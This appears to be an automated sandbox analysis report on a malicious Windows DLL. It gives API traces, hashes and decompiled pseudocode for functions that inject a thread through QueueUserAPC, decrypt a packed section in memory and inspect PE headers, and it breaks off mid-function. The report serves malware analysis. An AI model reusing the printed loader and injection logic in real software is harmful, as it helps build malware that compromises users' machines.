VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D73254D
VirtualProtect.KERNEL32(6D6B0000,00000000,00000004,6D7323A2), ref: 6D732652
VirtualProtect.KERNEL32(6D6B0000,00001000,00000004,6D7323A2), ref: 6D732679
VirtualProtect.KERNEL32(00000000,?,00000002,6D7323A2), ref: 6D732746
VirtualProtect.KERNEL32(00000000,?,00000002,6D7323A2,?), ref: 6D73279C
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D7327B8

Memory Dump Source

Source File: 00000000.00000002.497344661.000000006D731000.00000040.00020000.sdmp, Offset: 6D731000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: ff07580d84d1116ad52de69ff726b821f661c6dc75642e126b2e6fdedb51cdd0
Instruction ID: b88867980c7519d398aa25b5af033bc72ed18d69cec6036d4dde0f3129acffb5
Opcode Fuzzy Hash: ff07580d84d1116ad52de69ff726b821f661c6dc75642e126b2e6fdedb51cdd0
Instruction Fuzzy Hash: 3FD16A36200291AFDF11CF14C981F617BA6FF48714B1B41B5EE0AAF65BD731A850DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F5250, Relevance: 3.6, Strings: 2, Instructions: 1081COMMON

Download Yara Rule

Strings

w, xrefs: 6D6F55DD
U, xrefs: 6D6F5C20

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID: U$w
API String ID: 0-2864656496
Opcode ID: 7f26995500dc44fdf239cddc4fa3e107da382274a86617cd2727338607810793
Instruction ID: 99d04be522c8b1e2f9f19e6709ebcd226101d23987e713dd7e7cf4c96178ea30
Opcode Fuzzy Hash: 7f26995500dc44fdf239cddc4fa3e107da382274a86617cd2727338607810793
Instruction Fuzzy Hash: 08A280796087558FC728CF2EC59076AFBF2BB8A305F45863EE49487391E3349909CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B1E04, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x6d6b4188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x6d6b418c;
						if( *0x6d6b418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x6d6b4198;
								if( *0x6d6b4198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x6d6b418c);
						}
						HeapDestroy( *0x6d6b4190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x6d6b4188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						_t41 = _t18;
						 *0x6d6b4190 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x6d6b41b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E6D6B1CA4(E6D6B1D32, E6D6B1EE0(_a12, 1, 0x6d6b4198, _t41));
							 *0x6d6b418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x6d6b1e07
0x6d6b1e13
0x6d6b1e15
0x6d6b1e18
0x6d6b1e8e
0x6d6b1e94
0x6d6b1e96
0x6d6b1e98
0x6d6b1e9e
0x6d6b1ea0
0x6d6b1ea5
0x6d6b1ea8
0x6d6b1eb3
0x6d6b1eb5
0x00000000
0x00000000
0x6d6b1eb7
0x6d6b1eba
0x6d6b1ebc
0x00000000
0x00000000
0x00000000
0x6d6b1ebc
0x6d6b1ec4
0x6d6b1ec4
0x6d6b1ed0
0x6d6b1ed0
0x6d6b1e1a
0x6d6b1e1b
0x6d6b1e3b
0x6d6b1e41
0x6d6b1e43
0x6d6b1e48
0x6d6b1e84
0x6d6b1e84
0x6d6b1e4a
0x6d6b1e52
0x6d6b1e59
0x6d6b1e63
0x6d6b1e6f
0x6d6b1e76
0x6d6b1e7b
0x6d6b1e80
0x00000000
0x6d6b1e80
0x6d6b1e7b
0x6d6b1e48
0x6d6b1e1b
0x6d6b1edd

APIs

InterlockedIncrement.KERNEL32(6D6B4188), ref: 6D6B1E26
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 6D6B1E3B

Part of subcall function 6D6B1CA4: CreateThread.KERNELBASE ref: 6D6B1CBB
Part of subcall function 6D6B1CA4: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 6D6B1CD0
Part of subcall function 6D6B1CA4: GetLastError.KERNEL32(00000000), ref: 6D6B1CDB
Part of subcall function 6D6B1CA4: TerminateThread.KERNEL32(00000000,00000000), ref: 6D6B1CE5
Part of subcall function 6D6B1CA4: CloseHandle.KERNEL32(00000000), ref: 6D6B1CEC
Part of subcall function 6D6B1CA4: SetLastError.KERNEL32(00000000), ref: 6D6B1CF5

InterlockedDecrement.KERNEL32(6D6B4188), ref: 6D6B1E8E
SleepEx.KERNEL32(00000064,00000001), ref: 6D6B1EA8
CloseHandle.KERNEL32 ref: 6D6B1EC4
HeapDestroy.KERNEL32 ref: 6D6B1ED0

Memory Dump Source

Source File: 00000000.00000002.496944578.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000000.00000002.496927454.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496964196.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496982779.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497003268.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: 67524fb6403e048027a63ec6491d1e62db30ab30d07547684310341e0398ea0f
Instruction ID: 3cf6446176d9984b1b899efbc8466fadb8959da86c3de0fac77b08432d51232b
Opcode Fuzzy Hash: 67524fb6403e048027a63ec6491d1e62db30ab30d07547684310341e0398ea0f
Instruction Fuzzy Hash: AE216071E44206FBCF009FAACC84B7A7BB8FB9E3A87114129E545D3140E778A9328B50

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B1CA4, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D6B1CA4(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x6d6b41cc, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x6d6b1cbb
0x6d6b1cc1
0x6d6b1cc5
0x6d6b1cd0
0x6d6b1cd8
0x6d6b1ce1
0x6d6b1ce5
0x6d6b1cec
0x6d6b1cf3
0x6d6b1cf5
0x6d6b1cfb
0x6d6b1cd8
0x6d6b1cff

APIs

CreateThread.KERNELBASE ref: 6D6B1CBB
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 6D6B1CD0
GetLastError.KERNEL32(00000000), ref: 6D6B1CDB
TerminateThread.KERNEL32(00000000,00000000), ref: 6D6B1CE5
CloseHandle.KERNEL32(00000000), ref: 6D6B1CEC
SetLastError.KERNEL32(00000000), ref: 6D6B1CF5

Memory Dump Source

Source File: 00000000.00000002.496944578.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000000.00000002.496927454.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496964196.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496982779.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497003268.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: e635c2cd49d8877568db66b7fca74cb84dae0c50fc5a6496620aed82a697e259
Instruction ID: eb596850520512ceeb5326178085d20a43b54d3746f17e6a101b97777611105e
Opcode Fuzzy Hash: e635c2cd49d8877568db66b7fca74cb84dae0c50fc5a6496620aed82a697e259
Instruction Fuzzy Hash: 58F08C32304622BBDB121FA68C0CF6BBF78FF0A711F000504FA9991142C73588318BA5

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F74F1, Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6D6F752E
dllmain_crt_dispatch.LIBCMT ref: 6D6F7545
dllmain_raw.LIBCMT ref: 6D6F758D
dllmain_crt_dispatch.LIBCMT ref: 6D6F75A0
dllmain_raw.LIBCMT ref: 6D6F75B3

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 45b587f83e2affab100332b12c8f2c7d5ccde82822387d63ea1a77f5d252db83
Instruction ID: d184751816f297049db220b4a17918428d1397ac18190293dc0bfc28b14a19c6
Opcode Fuzzy Hash: 45b587f83e2affab100332b12c8f2c7d5ccde82822387d63ea1a77f5d252db83
Instruction Fuzzy Hash: 7A2167B1D04959ABDB224F55DD40E7F3A7BEB8D794F014119F91957210DB308E438B90

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F733A, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6D6F7387

Part of subcall function 6D6F7BA4: RtlInitializeSListHead.NTDLL(6D73C780), ref: 6D6F7BA9

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6D6F73F1
___scrt_fastfail.LIBCMT ref: 6D6F743B

Strings

yom, xrefs: 6D6F7407

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: Initialize$HeadList___scrt_fastfail___scrt_is_nonwritable_in_current_image
String ID: yom
API String ID: 2097537958-2702784548
Opcode ID: f0436dc32f6a4b6a66fa5b3e516b8d8a9f7af00d131df41d9362c13685221dbc
Instruction ID: 171ca0641743fd58634212b78c4dbcc1867a50850f1823b8fe35aa9cc1965e52
Opcode Fuzzy Hash: f0436dc32f6a4b6a66fa5b3e516b8d8a9f7af00d131df41d9362c13685221dbc
Instruction Fuzzy Hash: 58210572E0CA079EDB005FB494047AC7BB39F1E32EF124069CA48672C1CB610147C66E

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B15A3, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6D6B15A3(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				unsigned int _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				signed int _v44;
				signed int _v48;
				intOrPtr _t39;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t50;
				signed int _t59;
				signed int _t61;
				intOrPtr _t66;
				intOrPtr _t77;
				void* _t78;
				signed int _t80;

				_t77 =  *0x6d6b41b0;
				_t39 = E6D6B1A4B(_t77,  &_v20,  &_v12);
				_v16 = _t39;
				if(_t39 == 0) {
					asm("sbb ebx, ebx");
					_t59 =  ~( ~(_v12 & 0x00000fff)) + (_v12 >> 0xc);
					_t78 = _t77 + _v20;
					_v36 = _t78;
					_t46 = VirtualAlloc(0, _t59 << 0xc, 0x3000, 4); // executed
					_v24 = _t46;
					if(_t46 == 0) {
						_v16 = 8;
					} else {
						_t61 = 0;
						if(_t59 <= 0) {
							_t47 =  *0x6d6b41cc;
						} else {
							_t66 = _a4;
							_t50 = _t46 - _t78;
							_t11 = _t66 + 0x6d6b5137; // 0x6d6b5137
							_v28 = _t50;
							_v32 = _t50 + _t11;
							_v8 = _t78;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t19 = _t61 + 1; // 0x2
								_t80 = _t19;
								E6D6B1D02(_v8 + _t50, _v8, (_v48 ^ _v44) + _v20 + _a4 >> _t80);
								_t64 = _v32;
								_v8 = _v8 + 0x1000;
								_t47 =  *((intOrPtr*)(_v32 + 0xc)) -  *((intOrPtr*)(_t64 + 8)) +  *((intOrPtr*)(_t64 + 4));
								_t61 = _t80;
								 *0x6d6b41cc = _t47;
								if(_t61 >= _t59) {
									break;
								}
								_t50 = _v28;
							}
						}
						if(_t47 != 0x63699bc3) {
							_v16 = 0xc;
						} else {
							memcpy(_v36, _v24, _v12);
						}
						VirtualFree(_v24, 0, 0x8000); // executed
					}
				}
				return _v16;
			}

0x6d6b15aa
0x6d6b15ba
0x6d6b15c1
0x6d6b15c4
0x6d6b15d9
0x6d6b15e0
0x6d6b15e5
0x6d6b15f6
0x6d6b15f9
0x6d6b1601
0x6d6b1604
0x6d6b16ae
0x6d6b160a
0x6d6b160a
0x6d6b160e
0x6d6b1676
0x6d6b1610
0x6d6b1610
0x6d6b1613
0x6d6b1615
0x6d6b161d
0x6d6b1620
0x6d6b1623
0x6d6b162b
0x6d6b1633
0x6d6b1634
0x6d6b1635
0x6d6b163c
0x6d6b163c
0x6d6b1650
0x6d6b1655
0x6d6b165e
0x6d6b1665
0x6d6b1668
0x6d6b166c
0x6d6b1671
0x00000000
0x00000000
0x6d6b1628
0x6d6b1628
0x6d6b1673
0x6d6b1680
0x6d6b1695
0x6d6b1682
0x6d6b168b
0x6d6b1690
0x6d6b16a6
0x6d6b16a6
0x6d6b16b5
0x6d6b16bb

APIs

VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,00000000,00000000), ref: 6D6B15F9
memcpy.NTDLL(?,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?,6D6B17EC), ref: 6D6B168B
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,00000000,00000000), ref: 6D6B16A6

Strings

Mar 26 2021, xrefs: 6D6B162B

Memory Dump Source

Source File: 00000000.00000002.496944578.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000000.00000002.496927454.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496964196.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496982779.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497003268.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Mar 26 2021
API String ID: 4010158826-2175073649
Opcode ID: 2fe72fd2cc3cddeffcac713c17c59db4b065fdabc4f807d59c84bc1b9e3ecf67
Instruction ID: ae12da09253ce6ae330c953cd47e0a28a4a7fe215a3bc3bdb472b37f7aa9ef74
Opcode Fuzzy Hash: 2fe72fd2cc3cddeffcac713c17c59db4b065fdabc4f807d59c84bc1b9e3ecf67
Instruction Fuzzy Hash: C8315271E4021AAFDF01CF99C881BEEB7B9FF4D304F148169E904AB241E775AA158F94

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B1D32, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6D6B1D32(void* __ecx, intOrPtr _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E6D6B17A7(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x6d6b1d3b
0x6d6b1d40
0x6d6b1d4e
0x6d6b1d53
0x6d6b1d53
0x6d6b1d59
0x6d6b1d5e
0x6d6b1d62
0x6d6b1d66
0x6d6b1d66
0x6d6b1d70
0x6d6b1d79

APIs

GetCurrentThread.KERNEL32 ref: 6D6B1D35
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 6D6B1D40
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 6D6B1D53
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 6D6B1D66

Memory Dump Source

Source File: 00000000.00000002.496944578.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000000.00000002.496927454.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496964196.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496982779.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497003268.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: b687e8eb801bf986e299cc6ec862ac44ff4fe99298c241b15daf96adc5ebe3f3
Instruction ID: fba80a8f745266d02d80d31c53e9120544b9cb91f4e8061a8143a30883378c1d
Opcode Fuzzy Hash: b687e8eb801bf986e299cc6ec862ac44ff4fe99298c241b15daf96adc5ebe3f3
Instruction Fuzzy Hash: 7BE092317193153BD7022A2A4C88F6B7B6CDF9B3357120335F624D21D0DB699C2A87A5

Uniqueness

Uniqueness Score: -1.00%

Function 6D701CFE, Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6D701D07
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6D701D75

Part of subcall function 6D701C1A: WideCharToMultiByte.KERNEL32(?,00000000,6D6FF667,00000000,00000001,6D6FF5F6,6D703EDB,?,6D6FF667,?,00000000,?,6D703C4A,0000FDE9,00000000,?), ref: 6D701CBC

Part of subcall function 6D6FD6C4: RtlAllocateHeap.NTDLL(00000000,00000001,6D730094), ref: 6D6FD6F6

_free.LIBCMT ref: 6D701D66

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: EnvironmentStrings$AllocateByteCharFreeHeapMultiWide_free
String ID:
API String ID: 2560199156-0
Opcode ID: 2236bc31c5173b35eb73a317dd65f62bbf4c70299ae20dddeae218eba92c64d6
Instruction ID: 08ed60f19e45d0f667e59b758c2d05f826ce097ac45e187d6e8a48b5fb2298f3
Opcode Fuzzy Hash: 2236bc31c5173b35eb73a317dd65f62bbf4c70299ae20dddeae218eba92c64d6
Instruction Fuzzy Hash: 580188E2E05A567BA72145B60E88D7F29EDDEC79BC706013AFE18D2280EB50CC0181F2

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F4390, Relevance: 3.2, APIs: 2, Instructions: 173COMMON

Download Yara Rule

APIs

SetConsoleCP.KERNELBASE(00000000,?,00000000,?,00000000), ref: 6D6F4399
CreateSemaphoreA.KERNEL32(00000000,00000008,00000005,00000000), ref: 6D6F43A7

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ConsoleCreateSemaphore
String ID:
API String ID: 3129514459-0
Opcode ID: 076dc1f797f0bb02bf7051262a5665cf0d43c525022f3f89c0216f7517653d4a
Instruction ID: d6b6bfcf841d734eee29772beba0855ac73f41fca2be2386d8334c8b00a7e0cb
Opcode Fuzzy Hash: 076dc1f797f0bb02bf7051262a5665cf0d43c525022f3f89c0216f7517653d4a
Instruction Fuzzy Hash: 9B61297DA046158BDB28CF1AC990365B7F1F74A316F87423ED85997380E7B4A909CB83

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F3500, Relevance: 1.7, APIs: 1, Instructions: 199COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNELBASE(000000FF,?,00000040,?), ref: 6D6F35B3

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9d0e060eec81500a5a3e77f41850c1be4ed405d0b605b85630174f5069ce8c26
Instruction ID: 09ad8c7f56ce73973e22dff8fbb1fc7c8d266262bf6f9f86de8caec49d5316c8
Opcode Fuzzy Hash: 9d0e060eec81500a5a3e77f41850c1be4ed405d0b605b85630174f5069ce8c26
Instruction Fuzzy Hash: C07129796001558FCB24CF2EC4907E9BBF6FB5A212F56817AE494C7381E3349609DB93

Uniqueness

Uniqueness Score: -1.00%

Function 6D700978, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 6D7009B9

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2c196ef41640d3671aca9b2b8fb94a31787050077db0c4ef16fc6608d9648526
Instruction ID: 8be70b4f7681433732489675157065a87ed958d3bb7f165222286d72ab680b79
Opcode Fuzzy Hash: 2c196ef41640d3671aca9b2b8fb94a31787050077db0c4ef16fc6608d9648526
Instruction Fuzzy Hash: B5F080B166563567FB115F274E04F6B77DDAF82770F028033ED18A61D4DB20E44145A3

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD6C4, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000001,6D730094), ref: 6D6FD6F6

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a39e143e3e529b8bbbdce0bb0fd7fa8e1ceb307f546984b8b9ecba9ee4a6ed80
Instruction ID: 8087b9dd612cf57989dec6a99f3550d76b399285abe21e5ab8f706f4b38c616e
Opcode Fuzzy Hash: a39e143e3e529b8bbbdce0bb0fd7fa8e1ceb307f546984b8b9ecba9ee4a6ed80
Instruction Fuzzy Hash: ECE0EC2224592267E71116654C08B6B7A5AEFCA7E0F021121DD59970C0CF11E8438DA6

Uniqueness

Uniqueness Score: -1.00%

Function 6D73236F, Relevance: 1.3, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000079C,00003000,00000040,0000079C,6D731E18), ref: 6D732480

Memory Dump Source

Source File: 00000000.00000002.497344661.000000006D731000.00000040.00020000.sdmp, Offset: 6D731000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7db6d12d2af69a4a36a233fc09b20921306ff7ebee8bba85df63bd8d78f8aeeb
Instruction ID: cb5d6108346a89d0805269f59acc176d69955f3d158f6bbbef014637e5680bc4
Opcode Fuzzy Hash: 7db6d12d2af69a4a36a233fc09b20921306ff7ebee8bba85df63bd8d78f8aeeb
Instruction Fuzzy Hash: 5C318E321493D18FDB268B248C94B507F60FF07654F0A05EADA869F297D7686845C762

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6D6B2485, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D6B2485(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x6d6b41f8;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x6d6b4240 = 1;
										__eflags =  *0x6d6b4240;
										if( *0x6d6b4240 != 0) {
											goto L60;
										}
										_t84 =  *0x6d6b41f8;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x6d6b4240 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x6d6b41f8 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x6d6b4200 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x6d6b41fc + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x6d6b4200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6d6b4200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x6d6b4240 = 1;
							__eflags =  *0x6d6b4240;
							if( *0x6d6b4240 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x6d6b4200 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x6d6b4200 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x6d6b4240 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x6d6b4200 + _t100 * 4;
									_t100 = _t100 + 1;
